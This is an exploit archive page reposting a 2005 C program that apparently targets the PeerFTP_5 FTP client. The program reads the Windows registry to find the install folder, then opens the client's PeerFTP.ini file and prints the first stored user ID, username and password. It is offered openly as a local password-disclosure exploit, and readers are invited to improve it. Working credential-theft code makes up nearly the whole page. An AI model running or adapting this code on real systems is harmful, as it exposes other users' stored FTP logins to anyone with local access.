exploit the possibilities

PeerFTP_5.c

PeerFTP_5.c
Posted Feb 25, 2005
Authored by ATmaCA, Kozan | Site netmagister.com

PeerFTP_5 local password disclosure exploit.

tags | exploit, local
MD5 | 6177674b657c57c14c45ce2162f2fc02

PeerFTP_5.c

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/*****************************************************************

PeerFTP_5 Local Exploit by Kozan

Application: PeerFTP_5
Vendor: Acute Websight Incorporated
http://www.acutewebsight.com/peerftp_5.htm
Vulnerable Description: PeerFTP_5 discloses passwords to local users.

Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com

*****************************************************************/

#include <windows.h>
#include <stdio.h>
#include <string.h>

#define BUFSIZE 100
HKEY hKey;
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

char *userid1, *username1, *password1;

int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");

if( di == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}

char *oku(char *FilePath,char *Str)
{

FILE *di;
char cr;
int i=0;
char Feature[500];

int Offset = adresal(FilePath,Str);

if( Offset == -1 )
return "";

if( (di=fopen(FilePath,"rb")) == NULL )
return "";

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == ',')
break;
Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}

int main(void)
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey);
printf("An error occured!\n");
exit(1);
}

RegCloseKey(hKey);

}
else
{
RegCloseKey(hKey);
printf("An error occured!\n");
exit(1);
}

strcat(prgfiles,"\\AcuteWebsight\\PeerFTP_5\\PeerFTP.ini");

printf("PeerFTP_5 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com \n\n");
printf("This exploit only show the first profile and its password.\n");
printf("You may improve it freely...\n\n");
try{

userid1=oku(prgfiles,"]=");
printf("UserID 1 : %s\n",userid1);

char username_temp[BUFSIZE];
wsprintf(username_temp,"%s,",userid1);
username1=oku(prgfiles,username_temp);
printf("UserName 1 : %s\n",username1);

char pass_temp[BUFSIZE];
wsprintf(pass_temp,"%s,",username1);
password1=oku(prgfiles,pass_temp);
printf("Password 1 : %s\n",password1);

}catch(...){ printf("An error occured!\n"); exit(1); }

return 0;

}

// milw0rm.com [2005-02-22]
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